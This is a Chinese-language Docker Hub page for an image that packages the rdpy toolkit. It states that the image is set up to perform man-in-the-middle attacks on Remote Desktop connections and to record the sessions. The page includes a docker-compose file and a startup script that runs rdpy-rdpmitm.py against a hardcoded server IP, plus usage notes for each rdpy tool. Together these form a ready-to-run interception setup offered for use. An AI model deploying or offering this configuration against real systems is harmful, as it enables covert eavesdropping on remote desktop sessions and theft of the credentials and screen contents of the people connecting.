Sign inSign up

lucaibao/rdpy

By lucaibao

•Updated about 6 years ago

Image
0

75

lucaibao/rdpy repository overview

这是一个可对远程桌面连接发起中间人攻击的rdpy工具集的docker镜像,该工具可做中间代理,并将会话信息记录下来

⁠1、docker-compose.yml对该镜像进行管理

⁠该镜像默认只使用了rdpy工具集中的rdpy-rdpmitm.py 工具
version: '2'

services:
  my_rdpy:
    image: rdpy: part2
    hostname: centos
    command:
      - /bin/bash
      - -c
      - |
        /opt/run-basic.sh

    restart: always
    volumes:
      - /home/docker/rdpy/rss:/home/rdpy/rss
      - ./run-basic.sh:/opt/run-basic.sh
    ports:
      - "3389:3389"
    expose:
      - "3389"
    tty: true
    networks:
      extnetwork:
        ipv4_address: 172.21.100.2

networks:
  extnetwork:
    ipam:
      config:
      - subnet: 172.21.100.0/24
        gateway: 172.21.100.1



# 2、run-basic.sh
#!/bin/bash
ip=192.168.72.131
port=3389

/usr/bin/rdpy-rdpmitm.py -o /home/rdpy/rss $ip:$port

while true
do
    sleep 10
done



# 3、rdpy工具集的介绍 (1)rdpy-rdpclient(需安装可展示界面的x server) rdpy-rdpclient是一个简单的RDP Qt4客户端 $ rdpy-rdpclient.py [-u username] [-p password] [-d domain] [-r rss_ouput_file] [...] XXX.XXX.XXX.XXX[:3389] eg:$ rdpy-rdpclient.py -u root -p ////// -r /home/rdpy 192.168.43.132:3389

(2)rdpy-vncclient(需安装可展示界面的x server) rdpy-vncclient是一个简单的VNC Qt4客户端。 $ rdpy-vncclient.py [-p password] XXX.XXX.XXX.XXX[:5900] eg:rdpy-vncclient.py -p ////// 192.168.43.132:5901

(3)rdpy-rdpmitm rdpy-rdpmitm是一个RDP代理,它允许你在RDP协议之上执行一次中间人攻击,并将会话场景信息记录在一个可以被rdpy-rssplayer重放的rss文件中 $ rdpy-rdpmitm.py -o output_dir [-l listen_port] [-k private_key_file_path] [-c certificate_file_path] [-r (for XP or server 2003 client)] target_host[:target_port] 客户端连接自己的ip,然后将请求转发给真实服务器,客户端连接本机ip,本地监听客户端的远程桌面连接请求,然后转发请求到服务器,中间可保存会话信息 eg:rdpy-rdpmitm.py -o /hoem/rdpy/rss -l 监听3389端口 192.168.72.130(服务器的ip)

(4)rdpy-rssplayer rdpy-rssplayer是用来重放由rdpy-rdpmitm或者rdpy-rdpclient二进制文件所产生的会话场景记录(rss)文件 $ rdpy-rssplayer.py rss_file_pat

Tag summary

Content type

Image

Digest

Size

198.7 MB

Last updated

about 6 years ago

docker pull lucaibao/rdpy:part1